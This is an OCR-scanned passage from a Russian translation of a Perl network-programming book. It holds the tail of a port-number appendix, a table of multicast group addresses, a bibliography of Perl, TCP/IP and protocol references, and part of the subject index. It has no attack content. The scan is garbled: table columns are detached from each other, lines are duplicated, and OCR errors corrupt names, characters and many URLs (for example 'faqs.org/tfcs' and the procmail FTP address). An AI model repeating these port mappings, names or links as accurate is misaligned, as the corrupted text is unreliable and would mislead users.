Сервер Resource Tracking System
Сервер Resource Tracking System
Сервер Resource Tracking System
Пррт HP 3000 NS/VT block mode telnet
Разработка World Wide Web
Разработка World Wide Web
Порт cc:mail/lotus
Порт ее: mail/lotus
Порт DEC Notes
Порт DEC Notes
Администратор узла сети MAPPER
Администратор узла сети MAPPER
Сервер MAPPER TCP/IP
Сервер MAPPER TCP/IP
Сервер рабочей станции MAPPER
Сервер рабочей станции MAPPER
Служба отображения портов Bull Apprise
Служба отображения портов Bull Apprise
Порт UnidataUDTOS
Порт UnidataUDTOS
Демон NUTS
Демон NUTS
Сервер NUTS Bootp
Сервер NUTS Bootp
Порт UNICALL
724
Часть IV. Дополнительные темь\
Условное Номер Описание
обозначение
unicall
krb524
кгЬ524
rfa
rfa
commplex-inain
commplex-main
commplex-1 ink
commplex-1ink
rfe
rfe
telepathstart
telepathstart
telepathattack
telepathattack
mmcc
1Ш1СС
rmonitor_secure
rmonitor_secure
aol
aol
padl2sini
padl2sim
hacl-hb
hacl-hb
hacl-gs
hacl-gs
hacl-cfg
hacl-cfg
had-probe
hacl-probe
hacl-local
hacl-local
hacl-test
hacl-test
4343/udp
4444/tcp
4444/udp
4672/tcp
4672/udp
5000/tcp
5000/udp
5001/tcp
5001/udp
5002/tcp
5002/udp
5010/tcp
5010/udp
5011/tcp
5011/udp
5050/tcp
5050/udp
5145/tcp
5145/udp
5190/tcp
5190/иф
5236/tcp
5236/udp
5300/tcp
5300/udp
5301/tcp
5301/udp
5302/tcp
5302/udp
5303/tcp
5303/udp
5304/tcp
5304/udp
5305/tcp
5305/udp
Порт UNICALL
noprKRB524
nopTKRB524
Сервер дистанционного доступа к файлам
Сервер дистанционного доступа к файлам
Система Radio Free Ethernet
Система Radio Free Ethernet
Система TelepathStart
Система TelepathStart
Система TelepathAttack
Система TelepathAttack
Инструментальное средство управления
мультимедийной конференц—связью
Инструментальное средство управления
мультимедийной конференц—связью
Порт America-Online
Порт America-Online
Порт # НА cluster heartbeat
Порт # НА cluster heartbeat
Порт # НА cluster general services
Порт # НА cluster general services
Порт # HA cluster configuration
Порт # HA cluster configuration
Порт # HA cluster probing
Порт # HA cluster probing
Приложение В. Справочные таблицы Internet
725
Условное Номер Описание
обозначение
xll
xll
sub-process
sub-process
meta-corp
nieta-corp
aspentec-lni
aspentec-lm
watershed-lni
watershed-lm
statscil-lm
statscil-lni
statsci2-lni
statsci2-lni
lonewolf-lm
lonewolf-lm
montage-lm
montage-lm
xdsxdm
xdsxdm
afs3-fileserver
afs3-fileserver
afs3-callback
afs3-callback
afs3-prserver
afs3-prserver
afs3-vlserver
afs3-vlserver
afs3-kaserver
afs3-kaserver
afs3-volser
afs3-volser
afs3-errors
afs3-errors
afs3-bos
afs3-bos
6000-6063/tcp
6000-6063/udp
6111/tcp
6111/udp
6141/tcp
6141/udp
6142/tcp
6142/udp
6143/tcp
6143/udp
614 4/tcp
6144/udp
6145/tcp
6145/udp
614 6/tcp
6146/udp
6147/tcp
6147/udp
6558/tcp
6558/udp
7000/tcp
7000/udp
7001/tcp
7001/udp
7002/tcp
7002/udp
7003/tcp
7003/udp
7004/tcp
7004/udp
7005/tcp
7005/udp
7006/tcp
7006/udp
7007/tcp
7007/udp
Система X Window
Система X Window
Порт HP SoftBench Sub-Process Control
Порт HP SoftBench Sub-Process Control
Служба управления лицензиями Meta Corporation
Служба управления лицензиями Meta Corporation
Служба управления лицензиями Aspen Technology
Служба управления лицензиями Aspen Technology
Служба управления лицензиями Watershed
Служба управления лицензиями Watershed
Служба управления лицензиями — 1 StatSci
Служба управления лицензиями — 1 StatSci
Служба управления лицензиями — 2 StatSci
Служба управления лицензиями — 2 StatSci
Служба управления лицензиями Lone Wolf Systems
Служба управления лицензиями Lone Wolf Systems
Служба управления лицензиями Montage
Служба управления лицензиями Montage
Файловый сервер
Файловый сервер
Функция обратного вызова диспетчера кэша
Функция обратного вызова диспетчера кэша
База данных пользователей и групп
База данных пользователей и групп
База данных о местоположении томов
База данных о местоположении томов
Служба аутентификации ALS/Kerberos
Служба аутентификации AFS/Kerberos
Сервер управления томами
Сервер управления томами
Служба интерпретации ошибок
Служба интерпретации ошибок
Основной контролирующий процесс
Основной контролирующий процесс
726
Часть IV. Дополнительные темы
Условное Номер Описание
обозначение
afs3-update
afs3-update
afs3-rmtsys
afs3-rmtsys
ups-onlinet
ups-onlinet
font-service
font-service
fodms
fodms
man
man
isode-dua
isode-dua
7008/tcp
7008/udp
7009/tcp
7009/udp
7010/tcp
7010/udp
7100/tcp
7100/udp
7200/tcp
7200/udp
9535/tcp
9535/udp
17007/tcp
17007/udp
Служба распространения обновлений с сервера на сервер
Служба распространения обновлений с сервера на сервер
Дистанционная служба диспетчера кэша
Дистанционная служба диспетчера кэша
Источник бесперебойного питания onlinet
Источник бесперебойного питания onlinet
Служба X Font
Служба X Font
FODMS FLIP
FODMS FLIP
Адреса групп многоадресной рассылки
Internet
В настоящей таблице перечислены адреса для использования в
зарегистрированных приложениях многоадресной рассылки.
Адрес
Описание
224.0.0.0
224.0.0.1
224.0.0.2
224.0.0.3
224.0.0.4
224.0.0.5
224.0.0.6
224.0.0.7
224.0.0.8
224.0.0.9
224.0.0.10
224.0.0.11
224.0.0.12-224.0
224.0.1.0
.0.255
Базовый адрес (зарезервирован)
Все хосты подсети
Все маршрутизаторы подсети
Не зарезервирован
Маршрутизаторы DVMRP
Все маршрутизаторы OSPFIGP
Назначенные маршрутизаторы OSPFIGP
Маршрутизаторы ST
Хосты ST
Маршрутизаторы RIP2
Маршрутизаторы ICRP
Группа Mobile-Agents
Не зарезервированы
Группа VMTP Managers Group
1 Приложение В. Справочные таблицы Internet
727
Адрес
Описание
224.0.1.1 Протокол сетевой службы времени NTP
224.0.1.2
Группа SGI-Dogfight
224.0.1.3 Группа Rwhod
224.0.1.4 Группа VNP
224.0.1.5 Группа Artificial Horizons - Aviator
224.0.1.6 Сервер службы доменных имен NSS
224.0.1.7 Группа многоадресной рассылки голосовых сообщений
AUDIONEWS
224.0.1.8 Информационная служба SUN NIS+
224.0.1.9 Транспортный протокол многоадресной рассылки МТР
224.0.1.10 Группа IETF-1-LOYV-AUDIO J
224.0.1.11 Группа IETF-1-AUDIO ||
224.0.1.12 Группа IETF-1-VTDEO li
224.0.1.13 Группа IETF-2-LOYV-AUDIO
224.0.1.14 Группа IETF-2-AUDIO
224.0.1.15 Группа IETF-2-VTDEO
224.0.1.16 Группа MUSIC-SERVICE
224.0.1.17 Группа SEANET-TELEMETRV I
224.0.1.18 Группа SEANET-IMAGE
224.0.1.19 Группа MLOADD
224.0.1.20 Любой приватный эксперимент
224.0.1.21 Группа DVMRP для работы по протоколу MOSPF
(междоменный протокол многоадресной маршрутизации для сетей OSPF)
224.0.1.22 Группа SVRLOC
224.0.1.23 Группа XINGTV
224.0.1.24 Группа Microsoft-ds
224.0.1.25 Группа NBC-pro
224.0.1.26 Группа NBC-pfn
224.0.1.27-224.0.1.255 Не зарезервированы
224.0.2.1 Группа "rwho" (BSD) (адрес официально не
зарегистрирован)
224 .0.2.2 Служба дистанционного вызова процедур
PMAPPROC_CALLIT SUN
224.0.3.000-224.0.3.255 Группа RFE Generic Service
224.0.4 .000-224.0.4.255 Группа RFE Individual Conferences
224 .0. 5.000-224 .0.5.127 ГруппыCDPD
224.0.5.128-224 .0.5.255 He зарезервированы
224.0.6.000-224.0.6.127 Группа Cornell ISIS Project
728
Часть TV. Дополнительные темы
Адрес
Описание
224.0.6.128-224 .0. б. 255 Не зарезервированы
224 .1.0.0-224.1.255.255 Группы многоадресной рассылки ST
224.2.0.0-224 .2.255.255 Вызовы мультимедийной конференц<вязи
224.252.0.0- Временные группы DIS
224.255.255.255
232.0.0.0- Временные группы VMTP
232.255.255.255
Приложение В. Справочные таблицы Internet
729
Приложение
Библиография
Программирование на Perl
Перечисленные здесь книги и оперативные ресурсы рекомендуются как
дополнительные источники информации для разработчиков Perl.
Книги
1. Christiansen Т., Torkington К., Wall L. Perl Cookbook. O'Reilly & Associates, 1998
(ISBN 1565922433).
2. Conway D. Object Oriented Perl. Manning Publications, 1999 (ISBN 1884777791).
3. Hall J. Effeaive Perl Programming: Writing Better Programs with Perl. Addison-Wesley, 1998
(ISBN 0201419750).
4. Schwartz R., Christiansen Т., Wall R. Learning Perl, 2nd ed. O'Reilly & Associates, 1997
(ISBN 1565922840).
5. Wall L., Christiansen Т., Orwant J. Programming Perl, 3rded. O'Reilly & Associates, 2000
(ISBN 0596000278).
Оперативные ресурсы
6. Документация Perl, справочные руководства — hup:/'/www.perl.org
7. Полный сетевой архив Perl — http://www.cpan.org
8. Корпорация ActiveState (коммерческая поддержка) — http://www.activestate.com
Протокол TCP/IP и сокеты Berkeley
Книги
9. Comer D. Internetworking with TCP/IP, Vol 1: Principles, Protocols, and Architecture. Prentice-
Hall, 2000 (ISBN 0130183806). (Эта книга готовится к изданию на русском языке
в ИД "Вильяме".)
10. Comer D. Internetworking with TCP/IP, Vol. 2: ANSI С Version: Design, Implementation, and
Internals. Prentice-Hall, 1998 (ISBN 0139738436). (Эта книга готовится к изданию
на русском языке в ИД "Вильяме".)
730 Часть ГУ. Дополнительные темы,
т
11. Comer D. Internetworking with TCP/IP, Vol. 3: Client-Server Programming and Applications-
BSD Socket Version. Prentice-Hall, 1996 (ISBN 013260969X). (Эта книга готовится
к изданию на русском языке в ИД "Вильяме".)
12. Hunt С. TCP/IP Network Administration. O'Reilly & Associates, 1998 (ISBN 1565923227).
13. Stevens W.R. TCP/IP Illustrated, Volume 1: The Protocols. Addison-Wesley, 1994 (ISBN
0201633469).
14. Stevens W.R. TCP/IP Illustrated, Volume 3: TCP for Transactions, HTTP, NNTP, and the
UNIX Domain Protocols. Addison-Wesley, 19% (ISBN 0201634953).
15. Stevens W.R. UNIX Network Programming Volume 1: Networking APIs: Sockets and XTI.
Prentice-Hall, 1998 (ISBN 013490012X).
16. Wright G.R., Stevens W.R. TCP/IP Illustrated, Volume 2: The Implementation. Addison-
Wesley, 1995 (ISBN 020163354X).
Оперативные ресурсы
17. CIDR Address FAQs — http://www.ibm.net.il/~hank/cidr.html,
hllp://public.pacbell. net/dedicated/cidr. html
18. DeeringS., Hinden R. Internet Protocol, Version 6 (IPv6) Specification, 1998. RFC
2460 — http://www.faqs.org/rfcs/rfc2460.html
19. Kessler C, Shepard S. A Primer on Internet and TCP/IP Tools and Utilities, 1997. RFC
2151 — http://www.faqs.org/rfcs/rfc2l5l.html
20. Postel J. User Datagram Protocol, 1980. RFC 768 - http://www.faqs.org/rfcs/rfc0768.html
21. Postel J. Transmission Control Protocol, 1981. RFC 793 -
http://www.faqs. org/rfcs/rfc0793. html
22. Postel J. Echo Protocol, 1983. RFC 862 - http://www.faqs.org/rfcs/rfc0862.html
23. Postel J. Daytime Protocol, 1983. RFC 867 - http://www.faqs.org/rfcs/rfc0867.html
24. Reynolds J., Postel J. Assigned Numbers, 1994. RFC 1700 -
http://www.faqs.org/rfc/rfcl 700.html
25. Socolofsky T.J., Kale С J. TCP/IP Tutorial, 1991. RFC 1180 -
http://www.faqs. org/rfes/rfel 180. html
Проектирование сетевых се рверов
26. Comer D. Internetworking with TCP/IP Vol. 3: Client-Server Programming and Applications -
BSD Socket Version. Prentice-Hall, 1996 (ISBN 013260969X). (Эта книга готовится
к изданию на русском языке в ИД "Вильяме".)
27. Stevens W.R. Advanced Programming in the UNIX EnvironmenL Addison-Wesley, 1992
(ISBN 0201563177).
28. Stevens W.R. UNIX Network Programming, Volume 1: Networking APIs: Sockets and XTI.
Prentice-Hall, 1998 (ISBN 013490012X).
Многоадресная рассылка
Книги
29. Maufer Т. Deploying IP Multicast in the Enterprise. Prentice-Hall, 1997 (ISBN 0138976872).
30. Miller C.K. Multicast Networking & Applications. Addison-Wesley, 1998 (ISBN 0201309793).
Приложение Г. Библиография
731
Оперативные ресурсы
31. Deering S.E. Host Extensions for IP Multicasting, 1989. RFC 1112 -
http://www.faqs. org/rfcs/rfcl 112. html
32. Fenner W. Internet Group Management Protocol, Version 2, 1997. RFC 2236 -
http://www.faqs.org/rfcs/rfc2236.html
33. Meyer D. Administratively Scoped IP Multicast, 1998. RFC 2365 -
http://www.faqs. org/rfcs/rfc2365. html
Протоколы прикладного уровня
Протокол FTP
Оперативные ресурсы
34. Allman M., Ostermann S. FTP Security Considerations, 1999. RFC 2577 -
http://www.faqs. org/rfcs/rfc25 77. html
35. Allman M., Ostermann S., Metz С FTP Extensions for IPv6 and NATs, 1998. RFC
2428 - http://www.faqs.org/rfcs/rfc2428.html
36. BellovinS. Firewall-Friendly FTP, 1994. RFC 1579-
http://www.faqs.org/rfcs/rfcl579.html
37. Postel J., Reynolds J.K. File Transfer Protocol, 1985. RFC 959 -
http://www.faqs. org/rfcs/rfc0959. html
Протокол Telnet
Оперативные ресурсы
38. Postel J., Reynolds J.K. Telnet Protocol Specification, 1983. RFC 854 -
http://www.faqs. org/rfcs/rfc0854. html
39. Postel J., Reynolds J.K. Telnet Option Specifications, 1983. RFC 855 -
http://www.faqs.org/rfcs/rfc0855.html
40. Postel J., Reynolds J.K. Telnet Binary Transmission, 1983. RFC 856 -
http://www.faqs. org/rfcs/rfc0856. html
41. Postel J., Reynolds J.K. Telnet Echo Option, 1983. RFC 857-
http://www.faqs. org/rfcs/rfc085 7.html
Защищенный командный интерпретатор •'■ GnG
Книги
42. Barrett D.J., Silverman R. SSH, The Secure Shell: The Definitive Guide. O'Reilly & Associates,
2000 (ISBN 0596000111).
732
Часть TV. Дополнительные темы
Оперативные ресурсы
43. FreeSSH Project — http://www.freessh.org
44. OpenSSH Project — http://www.openssh.com
45. Secure Shell, Inc. — http://www.ssh.com
Протокол SMTP
Книги
46. Costales В., Allman E. Sendmail. O'Reilly & Associates, 1997 (ISBN 1565922220).' Г
Оперативные ресурсы
47. Klensin J., Freed N., Rose M., Stefferud E., Crocker D. SMTP Service Extensions, J995.
RFC 1869 - http://www.faqs.org/tfcs/tfcl869.html
48. Postel J. Simple Mail Transfer Protocol, 1982. RFC 821 -
http://www.faqs. org/tfcs/tfc0821 .html
49. procmail —ftp://ftp.mformatik.rwih^mchen.de/pub/pa(kages/procrrMil^
Стандарты MIME
Оперативные ресурсы
50. Freed N., Borenstein N. MIME (Multipurpose Internet Mail Extensions), Part 1:
Format of Internet Message Bodies, 1996. RFC 2045 -
http://www.faqs.org/tfcs/tfc2045.html
51. Freed N., Borenstein N. MIME (Multipurpose Internet Mail Extensions), Part 2: Media
Types, 1996. RFC 2046- http://www.faqs.org/rfcs/tfc2046.html
52. Freed N., Borenstein N. MIME (Multipurpose Internet Mail Extensions), Part 3:
Message Header Extensions for Non-ASCII Text, 1996. RFC 2047 -
http://www.faqs.org/tfcs/tfc2047.html
53. Freed N.. Borenstein N. Multipurpose Internet Mail Extensions (MIME), Part 4:
Registration Procedures, 1996. RFC 2048- http://www.faqs.org/tfcs/tfc2048.html
54. Freed N., Borenstein N. Multipurpose Internet Mail Extensions (MIME), Part 5:
Conformance Criteria and Examples, 1996. RFC 2049 —
http://www.faqs.org/rfcs/tfc2049.html
Протокол POP
Оперативные^урсы cimmi Ш№^~* "■* -Ш* ^-UfcS
55. Meyers J. POP3 AUTHentication Command, 1994. RFC 1734-
http://www.faqs.org/ifcs/tfcl 734.html
56. Meyers J., Rose M. Post Office Protocol, Version 3,1996. RFC 1939 -
http://www.faqs. org/tfcs/tfcl 939. html
57. Nelson R. Some Observations on Implementations of the Post Office Protocol (POP3),
1996. RFC 1957 - http://www.faqs.org/ifcs/ifcl957.html
Приложение Г. Библиография 733
Протокол IMAP l
Оперативные ресурсы I
58. Crispin M. Internet Message Access Protocol, Version 4revl, 1996. RFC 2060 —
http://tvww.faqs. org/tfcs/tfc2060. html
59. KlensinJ., Catoe R., Krumviede P. IMAP/POP AUTHorize Extension for Simple
Challenge/Response, 1997. RFC 2195 - http://www.faqs.org/rfcs/rfc2195.html I
Протокол NNTP
Книга
60. Spencer H., Lawrence D. Managing Usenet: An Administrator's Guide to Netnews. O'Reilly & I
Associates, 1998 (ISBN 1565921984). I
Оперативные ресурсы i
61. Kantor В., Lapsley P. Network News Transfer Protocol, 1986. RFC 977 - .
http://www.faqs.org/tfcs/rfc0977.html I
Протоколы HTTP, HTML и XML
Книги
62. Birbeck M. Professional XML. Wrox Press, 2000 (ISBN 1861003110).
63. Marchal B. XML by Example. Que Education & Training, 1999 (ISBN 0789722429).
64. Musciana C, Kennedy В., Loukides M. HTML: The Definitive Guide, 3rd ed. O'Reilly &
Associates, 1998 (ISBN 1565924924).
65. Stein L. How to Set Up and Maintain a Web Site. Addison-Wesley, 1997 (ISBN 0201634627).
66. Wong С Web Client Programming with Perl. O'Reilly & Associates, 1999 (ISBN
156592214X).
Оперативные ресурсы
67. Bray Т., PaoliJ., Sperberg-McQueen CM. Extensible Markup Language (XML) 1.0,
1998- http://www.tv3.org/TR/RECxml
68. Fielding R., Gettys J., Mogul J., Frystyk H., Masinter L., Leach P., Berners-Lee T.
Hypertext Transfer Protocol - HTTP/1.1,1999. RFC 2616 -
http://www.faqs/org/tfcs/rfc2616.html
69. Franks J., Hallam-Baker P., HostetlerJ., Lawrence S., Leach P., Luotonen A., Stewart L.
HTTP Authentication: Basic and Digest Access Authentication, 1999. RFC 2617 —
http://www.faqs.org/rfcs/rfc2617.html
734
Часть IV. Дополнительные темы
Защита сети
Книги
70. Anonymous. Maximum Security: A Hacker's Guide to Protecting Your Internet Site and Network.
Sams, 1998 (ISBN 0672313413).
71. Garfinkel S., Spafford G. Practical UNIX and Internet Security. O'Reilly & Associates, 1996
(ISBN 1565921488).
72. Russell D., Gangemi G.T. Computer Security Basics. O'Reilly & Associates, 1991
(ISBN 0937175714).
73. Nemeth E. UNIX System Administration Handbook. Prentice Hall, 1995
(ISBN 0131510517).
Приложение Г. Библиография
735
Предметный указатель
API-интерфейс
модуля Net POP3, 222
прикладного программирования, 28
и
URL протокола HTTP, 262; 271
Автоматизация сетевых служб, 174
Агент
пользователя, 260
транспортный службы новостей, 244
Адрес
0.0.0.0,610
INADDR_ANY, 115
NULL, 540
аппаратный Ethernet, 609
безразличный INADDR_ANY, 629
группы для всех хостов, 617
назначения, упакованный, 598; 632
петли обратной связи, 93; 99; 103
подсети, широковещательный, 596
со всеми
единицами, 95
нулями, 95
сокета, 93; 97; 98
широковещательный, 598
Анализатор синтаксический
HTML::TreeBuilder, 292
Архив
RFC, 274
tar, 21
документов RFC, 24
Атрибут
ACTION. 278
locked. 348
METHOD, 277; 348
Байт срочных данных, 521
Библиотека
LWP, 258; 262
OpenSSL, 259
Socket, 608
stdio, 47; 366; 372
Бит
setgid. 439
setuid, 438
Блок
continue {}, 509
END {}, 329; 429; 569; 656
eval{},81;483;490;528;551
Блокировка, 343; 473; 485
LOCK_EX, 434
метода, 348
операции записи, 45; 46
разделяемая, 434
рекомендательная, 347
ссылки, 348
файла, рекомендательная, 434; 473
Брандмауэр, 95
Брешь в защите сетевого сервера, 459
Буфер
TCP передающий, операционной системы,
512; 513
TCP приемный, 513
данных внутренний, 403
срочных данных, 519
Буферизация, 372
В
Ведение журнала в файле, 435
Вектор двоичный, 502
Версия
многопоточная, 491
сценария search_rfc.pl, 284; 302
Ветвление, 60; 312? 337
предварительное, 313
Взаимодействие межпроцессное, 28
Вложение
в виде документа Microsoft Word, 226
многокомпонентное MIME, 284
типа image/jpeg. 224
Воспроизведение звукозаписи, 646
Вывод в формате PostScript, 292
Вызов
системный flockO, 473
системный flockjock, 477
системный продолжительный, 81; 350
Выражение регулярное, 244; 290
Группа
:sys_wait_h модуля POSIX, 316
736
Предметный указатель
\
nogroup, 439
дискуссионная, 239; 560
для всех хостов, 622
многоадресной рассылки, 619
новостей
модерируемая, 240
немодерируемая, 240
неуправляемая, 240
управляемая, 240
процесса, 61; 326
сеанса, 326
д
Данные
POLLPRI, 518
срочные, 359; 362; 513
срочные TCP. 121
управляющие, 535
Дейтаграмма UDP, 595
Демон, 325
FTP, 446
inetd, 313; 337
SMTP, 181
syslogd, 422; 425
UNIX, 448
маршрутизации mrouted, 620
печати Ipd, 646
протокола сетевого времени xntpd, 616
регистрации, 422
сетевой, 421
Дескриптор
STDIN. 507; 509
файла, 33; 70; 434; 436; 437; 503
STDERR, 33
STDIN. 33; 378; 500
STDOUT, 33; 389; 500
контролируемый, 503
неблокирующий, 372
однонаправленный, 70
Диспетчер пакетов Perl, 23
Дистрибутив
Linux, 422
MacPerl, 23
Perl компании ActiveState, 23
Perl/Tk, 258
UNIX. 422
Документ , • ! i
HTML, 290; 296
peitvar POD, 66
RFC, 24
RFC 977, 242
STD, 24
Документация
POD, 24
Домен, 87
AF_APPLETALK, 87
AFJNET, 87
AFJNET6, 87
AFJPX, 87
AFJJNIX. 87; 646
AF_X25, 87
Доска демонстрационная графическая, 616
Доступ к области памяти, исключительный, 485
Е
Единица передачи данных, максимальная, 542
Ж
Журнал событий NT, 422
Заголовок
HTTP-Response, 266
RFC 822,188
почтовый, 182
электронной почты, 188
Загрузка начальная, 601
Запись
initdefault, 333
идентификатора процесса сервера в файл, 421
частичная, 372
Запрос протокола HTTP, 263
Запуск сервера
неоднократный, 121
производственного, 421
Защита
сервера, 421
сетевых приложений, 30
Значение
0Е0, 221; 378
нулевое, но истинное, 221; 378
И
Идентификатор
группы процессов, 61
группы числовой
действующий, 438
реальный, 438
информационного ресурса,
унифицированный, 262
пользователя числовой
действующий, 438
реальный, 438
потока, 349; 494
процесса, 60
сегмента памяти, закрепленный, 485
Предметный указатель
737
текущего процесса, 517
Иерархия
alt, 240
двухуровневая службы сетевых новостей, 239
классов IO::Handle, 129
Импорт модуля Thread, 349
Инициализация параллельная соединений, 410
Интерпретатор командный защищенный, 178
Интерфейс
встроенный ксокетам Berkeley, 127
петли обратной связи, 597
процедурный LWP::Simple, 261
Информация состояния, 261; 266
Исключение PIPE, 72; 125; 362
К
Канал, 59; 60; 63
двунаправленный, 70
однонаправленный, 481
Каталог
/etc. 329; 332
/etc/red, 332
/home/www/htdocs, 465
/sbin, 332
/tmp. 443
/usr/include, 522
/usr/local/etc, 329
/usr/tmp, 440
/var/adm. 422
/var/log, 422
/var/run, 329; 437; 441
/var/tmp, 329
eg/, 524
привилегированный /var/run, 440
Категория сообщения syslogd, 423
Клавиша прерывания, 512; 533
Класс
ChatOb|ects::Channel, 564; 574
ChatObjerts::TimedUser, 585
ChatObjectsr.User, 574
HTML::Formatter, 291
HTML:Parser. 291
HTTP-Request, 263
HTTP::Request::Common, 282
IO::LineBufferedSet, 402
IO::SessionSet, 402
IO::Socket, 522; 527
LWP::UserAgent, 269
Mail-Internet, 191
MIME::Body. 209
MIME::Parser,211
вспомогательный POSIX::SigSet, 453
сети, 94
Клиент, 83
738
IMAP, 235
NIS, 596
TCP, 109; 113 |
wrap_cli.pl, 651
службы времени, 98; 544
службы интерактивной переписки, 593
электронной почты, 184; 234
Ключ
Application, 335
AppParameters, 335
Category. 433
Data, 433
EventID, 433
EventType. 432
Strings, 433
Коалиция сетевая MBONE, 620
Код
возвращаемого сервером результата, 153
ошибки
500. 528
EPIPE, 362
EWOULDBLOCK, 372; 375; 419
примеров сценариев и модулей Perl, 20
результата
EAGAIN, 372
ECONNREFUSED. 408
EINPROGRESS, 408
события
JOIN_ACK, 643
PART_ACK, 643
SET_MCAST_PORT, 636
состояния
301, 467
400, 467
состояния числовой, 266
функциональный
SIOCGIFBRDADDR. 603
SIOCGIFCONF.603;611
SIOCGIFFLAGS.611
Коллекция модулей Perl, 21
Команда
/channels, 561
/join, 561
/part. 562
/private, 562
/quit, 562
/users, 562
APOP, 222
DATA, 182; 184
F_GETFL, 373
F_SETFL, 373
F_SETOWN. 516; 517
HELO, 182
IP_ADD_MEMBERSHIP, 629 л
Предметный указатель \
IP_DROP_MEMBERSHIP, 629
IP_MULTICAST_LOOP, 630
IPJHULTICASTJTL, 630
ipcrm, 489
MAIL. 182; 184
ps,472
QUIT. 182
RCPT, 182
route, 601
RSET, 185
runlevel, 333
SIOCATMARK, 521
SO_ERROR. 541
отмены, 512
системная date, 42
Комбинация
допустимая домена, типа и протокола
сокета, 89
символов CRLF, 38
Компания
ActiveState, 23
Cisco Systems, 619
Sun, 86; 92; 104
Константа
AFJNET, 538
AFJ.OCAL, 87
EACCES, 51
ENOENT, 51
IFHWADDRLEN, 609
IFNAMSIZ, 609
IFREQ_ADDR, 610
IFREQ_ETHER, 610
IFREQ_FLAG. 610
IFREQ_NAME. 609
INADDR_ANY. 625
PFJNET, 88
PIPE_BUF операционной системы, 479
POLLHUP. 503
POLLIN, 503
POLLOUT, 503
SIGHUP, 453
SIGTERM, 453
SOCK_DGRAM, 538
SOMAXCONN, 653
обозначения события poll(), 504
опции многоадресной рассылки, 624
с префиксом 0_, 43
числовая кода ошибки EPIPE, 79
Конструктор, 53; 55
build() объекта MIMEvEntity. 203
from_file(), 208
new() объекта Net::FTP, 155
класса Mail::Header, 189
Конструкция lock|\&subroutine), 347
Контекст скалярный, 112
Контроллер домена NT, 104
Копия зеркальная, 275
Л
Лаборатория Lawrence Berkeley, 616
Лексема _PACKAGE_, 290
Лидер сеанса, 326
Лимит записи, 389
Листинг каталога в длинном формате, 63
Локатор
информационного ресурса,
унифицированный, 262
ресурсов, унифицированный, 139
м
Маркер срочных данных, 514
Маршрутизатор, 594; 617; 619
DVMRP, 617; 623
OSPF, 617
RIP2,617
сетевой, 94
Маршрутизация бесклассовая междоменная, 95
Маска
битовая, 503; 506
пользователя umask, 650
прав пользователя umask, 44
сети, 94; 610
сигнала, 452
события, 509
Массив
@_ параметров подпрограммы, 382
@ARGV. 451
@ISA, 290; 352; 368
Меню справочное MacPerl, 25
Метасимвол перенаправления, 34
Метод
accept(), 134; 365; 401
active(), 246
add(), 190; 396; 524
add() модуля IO::Select, 400
add_part(), 205
add_signature{), 191
address(), 580
adjust_state(), 395
agentO, 271
apop(), 222; 236
appe(), 157
articleO, 247
as_lines(). 210
as_mbox_string(), 191
as_string(), 191; 208; 210; 265
atmark(), 522; 527; 529
Предметный указатель
739
attachO. 206
authinfoO, 245
autoflushf). 56; 110
bail_out(), 394
base(), 268
bind(). 135
blockingO. 56; 374; 393
body(), 191; 247
bodyhandlej), 206
can_read(), 358; 359; 365; 378; 419; 470;
can_write(), 359; 408
channels(), 580
choke(), 388
close(). 170; 385; 395; 549
cmd(), 169
code(), 154; 268; 270
commando, 154
commandJnterfaceO. 314; 320; 351; 363
connectO. 132; 135
connectedO, 135; 409
content(). 265; 268; 270; 281
content_ref(), 265; 268; 270
content_type(), 265; 266
cookieJar(), 273
copy(), 239
count(), 359
create_mailbox(), 238
create_socket(), 572
credentials(), 273; 238
data(). 184
dataend(), 184
datasend(), 184
date(), 245
DELETE, 263
delete(), 190; 223; 239; 294; 400
delete_mailbox(), 238
detach(), 344; 349
dir(), 156
distributions(), 247
dump_skeleton(), 207
effect"we_type(), 207
env_proxy(), 272
eof(). 292; 302
error(), 379; 417
en-or_as_HTMLO, 268
events(), 506
exists(), 359
expand(), 185
expiresO, 266
fdopen(), 57; 320
flushO, 56; 524; 529
from(), 271
generate(), 524
GET, 263
GET отправки данных формы, 278
740
get(), 156; 169; 190; 223; 233; 235
get_basic_credentials(), 272
getline(), 56; 169; 210; 366
getlinej) модуля SessionData, 387
getlines(), 56
getsockoptO, 135; 624
group(), 245
handle(), 394
handle_connection(), 467; 470
handler(), 300
handles(), 503; 506
has_buffered_data(), 403
has_exception(), 359
HEAD, 263; 269
head(). 191; 206; 247
header(), 208; 264; 266
header_hashref(), 190
host(), 308
hostpath(), 648
if_broadcast(), 605
if flags!), 604
if_list(), 605; 630
ignore_errors(), 214
ihave(), 248
imporlO, 629
inactjvity_interval(), 591
info(), 584; 641
is_error(), 268
is_miltipart(). 207
is_success(), 270; 281
isa() встроенный, 400
join(), 345; 349; 582
last(), 223; 238; 248
last_error(). 214
last_head(), 214
list(), 223; 235; 239; 245
list_channel(), 644
login(), 155; 161; 168; 173; 222; 235; 237; 238
lookup_byaddr(), 580
lookup_byname(), 580
ls(), 156
mail(), 184
mailboxesf), 238
mask(), 503
max_size(), 271
mcast_add(), 626; 635; 644
mcast_dest(), 641
mcast_drop(), 635; 644
mcast event(), 640
mcast ttl(), 626; 632; 639
mdtm(), 157
message(), 154; 268; 581
method(). 265
mime_type(), 207
mirror(),271;276;305
Предметный указатель
mportO, 638; 639
new(), 131; 183; 235
new_from_fd(), 57; 341
newgroups(), 244; 246
newnews(), 246
newsgroups(), 246
next(), 248
nicknameO, 579; 580
nntpstat(), 248
no_proxy(), 272
ok(), 154
one_line(), 366
open(), 196; 206
open() модуля IO::Rle, 474
opened(), 56
output_dir(),212;213
output_to_core(), 214
output_under(), 212; 213
overview_fmt(), 249
parse(), 212; 213; 294; 302
parse_data(), 214
parse_file(). 294; 302
parse_open(), 214
parts!), 206
path(), 210; 308
peeraddr(), 135; 543
peerhost(), 430; 543; 546
peername(), 135; 543
peerpath(), 648
peerport(), 135; 543
pending(), 394; 395
poll(), 506
poll() объекта IO::Poll, 503
pop_statO, 224
POSIX::setsid(), 175
POSIX::tmpnam(), 657
POST, 263
POST отправки данных формы, 278
post(), 248
postfh(), 248
postok(), 245
prettyJextO, 524
previous{), 268
proxyO, 272
purge(), 208; 210; 212
purge!) объекта MIME::Entity, 212
push_header(), 264
PUT, 263
put(), 157
quit(), 222; 224; 239; 245
read(), 208; 378; 383
read_bodyO, 418
readJieaderO, 418
readable)), 395
reader(), 245
recipient!), 184
recv(), 543
remove!), 581
remove_header(), 264
remove_sig(), 192; 207
rename_mailbox(), 238
replace!), 190
Report!), 432
request!), 261; 268; 270
reset!), 223; 239; 524
response!), 154
retr(), 157
scan(), 265
